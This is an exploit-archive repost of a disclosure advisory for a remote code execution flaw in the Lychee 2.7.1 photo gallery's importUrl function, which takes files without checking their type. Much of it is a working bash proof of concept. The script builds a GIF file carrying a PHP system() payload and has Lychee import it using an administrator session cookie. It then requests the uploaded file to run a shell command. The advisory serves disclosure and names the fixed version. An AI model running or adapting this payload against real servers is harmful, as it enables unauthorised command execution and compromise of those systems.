首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Lychee 2.7.1 Remote Code Execution
来源:https://segment.technology/ 作者:Cavallarin 发布时间:2015-04-20  
Advisory ID: SGMA15-002
Title:	Lychee remote code execution
Product: Lychee
Version: 2.7.1 and probably prior
Vendor:	lychee.electerious.com
Vulnerability type:	Remote Code Execution
Risk level:	High
Credit:	Filippo Cavallarin - segment.technology
CVE: N/A
Vendor notification: 2015-04-12
Vendor fix: 2015-04-13
Public disclosure: 2015-04-15


Details

Lychee version 2.7.1 and probably below suffers from remote code execution vulnerability.

The vulnerability resides in the importUrl function that fails to restrict file types due to the lack of file extension validation.
Since the imported file is stored in a web-readable directory where php files can be executed, remote code execution can be achieved. 

Even if the import is limited to image files only, an attacker can abuse this vulnerability by importing a 
specially crafted image file containing PHP code.

To exploit this vulnerability the attacker must be logged as administrator.

The following proof of concept demostrates the issue

#!/bin/bash

LYCHEE_HOST="lychee.local"
PHPSESSID="e0ac560kmqf0lli9u5jd20qt46"
LOCALIP="172.16.85.1"
CMD="uname -a"

cd /tmp || exit 1

echo "Creating gif..."
GIF="\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\x21\xFE\x1A<?php system('$CMD')?>"
echo -e $GIF > gif.php

echo "Starting local webserver"
python -m SimpleHTTPServer > /dev/null 2>&1 &

sleep 1

echo "Starting the import procedure"
curl "http://$LYCHEE_HOST/php/api.php" -H "Cookie: PHPSESSID=$PHPSESSID"  --data "function=importUrl&url=http%3A//$LOCALIP:8000/gif.php&albumID=0"

sleep 5

kill %1
rm gif.php

echo "Executing command.."
curl "http://$LYCHEE_HOST/data/gif.php"

#EOF


Solution

Upgrade to Lychee version 2.7.2


References
http://lychee.electerious.com




Filippo Cavallarin
https://segment.technology/

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Mac OS X Local Denial Of Servi
·WordPress Work The Flow Upload
·Oracle Hyperion Smart View for
·WordPress Creative Contact For
·D-Link/TRENDnet NCC Service Co
·WordPress N-Media Website Cont
·MS Windows (HTTP.sys) HTTP Req
·WordPress Reflex Gallery Uploa
·Microsoft Window - HTTP.sys Po
·Adobe Flash Player copyPixelsT
·Abrt / Apport Race Condition /
·WordPress SlideShow Gallery Au
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved